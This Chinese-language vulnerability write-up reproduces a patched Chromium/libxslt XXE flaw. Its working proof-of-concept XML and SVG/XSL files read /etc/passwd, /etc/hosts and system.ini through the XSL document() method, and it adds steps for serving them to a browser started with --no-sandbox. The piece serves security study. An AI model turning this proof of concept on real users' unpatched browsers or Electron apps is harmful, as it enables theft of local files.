官方文档
https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
漏洞描述
Short description: Libxslt is the default XSL library used in WebKit based browsers such as chrome, safari etc. Libxslt allows external entities inside documents that are loaded by XSL document() method. An attacker can bypass security restrictions, access file://urls
from http(s)://
urls and gain file access. With the default sandbox attacker can read /etc/hosts file on ios (safari/chrome), mac (safari/chrome), android (chrome) and samsung tv (default browser). When the -no-sandbox attribute is used (Electron/PhantomJS) an attacker can read any file on any OS.
来自: 1458911 - Security: Libxslt arbitrary file reading using document() method and external entities. - chromium
译:
简述:libxslt 是基于 webkit 的浏览器(如 Chrome、safari 等)中使用的默认 XSL 库。Libxslt 允许外部实体进入由 XSL document() 方法加载的文档。攻击者可以绕过安全限制,从 http(s)://url
访问 file://url
并获取文件访问权限。使用默认的沙盒,攻击者可以在 ios(safari/chrome),mac(safari/chrome),android(chrome)和 samsung tv(默认浏览器) 上读取 /etc/hosts 文件,当使用 -no-sandbox 属性时,攻击者可以读取操作系统上的任意文件。
影响版本
- Chrome 版本 < 116.0.5845.96
- Chromium 版本 < 116.0.5845.96
- Electron 版本 < 26.1.0
漏洞复现
- 准备 Chrome 浏览器,版本需低于 116.0
- 编写 XLS 文件,构造 XXE
- 编写 SVG 代码,使用 document 方法加载 XLS 文档
- 将 SVG 代码托管在服务器上访问
相关代码
XLS 文件(XXE 漏的核心代码)
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<div>
<p>host: &hosts;</p>
<p>passwd: &passwd;</p>
<p>sysini: &sysini;</p>
</div>
这里写成 XML 格式也是完全可以的。
关系类似于 JSP 和 Java 的关系(不太准确,但比较容易理解),XLS 实际上就是在 XML 的基础上增加了一些扩展的语法,从而可以将 XML 中的数据转换为 HTML 呈现。
因为下面示例的 XLS 代码中,我并没有加入任何样式,所以是可以原封不动的转为 XML 格式来复现漏洞的,但是要记得 SVG 中引用的文件格式要一致。
SVG 文件加载 XLS
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject id="xxx" width="1000" height="1000">
<div xmlns="http://www.w3.org/1999/xhtml">
XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>
document() <xsl:copy-of select="document('test.xsl')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
SVG 是一种基于 XML 的可缩放矢量图格式,由于 SVG 是基于 XML,而 XSL 早期又经常被用来对 XML 进行一些样式优化(现在大多用 CSS 来对 SVG 做样式优化)。
代码解析:
value-of
语法用于在 xsl 中提取 xml 文档中的值的,如上<xsl:value-of select="system-property('xsl:version')"/>
意为使用系统属性方法获取 xsl 的版本;copy-of
语法用于将 xml 文档中的节点复制输出到当前位置,如上<xsl:copy-of select="document('test.xsl')"/>
意为使用 document 方法加载 test.xsl 文档,并将加载到的内容复制输出到当前位置;**document**
方法就是此次 XXE 漏洞的核心所在。它的作用就是加载外部 XML 文档,但由于内部并没有做好安全措施,从而导致了这个漏洞的产生。foreignObject
是 SVG 中允许嵌入不同 XML 命名空间的语法,与本次漏洞关系不大。其他代码都是一些 XML 文件的固定配置引用。如果仅为了复现漏洞,上述 SVG 文件可以简化如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('test.xml')"/>
</xsl:template>
</xsl:stylesheet>
效果展示
第一步:python -m http.server 8888
使用 python 在 SVG 文件所在目录下启动一个端口为 8888 的 HTTP 服务
第二步:chrome --no-sandbox
在 chrome 目录下(v114.0 测试版)使用非沙盒模式启动 chrome 浏览器
- 如果使用默认方式启动,仅在 linux 系统下能访问到 /etc/hosts 文件
- 如果使用 --no-sandbox 模式启动,在 linux 和 windows 下都可以访问任意文件
第三步:http://127.0.0.1:8888/test.svg
在浏览器中访问 test.svg (没有做样式处理),由于是 Windows 环境复现,前面 host 和 passwd 的内容为空,只获取到 sysini 的内容。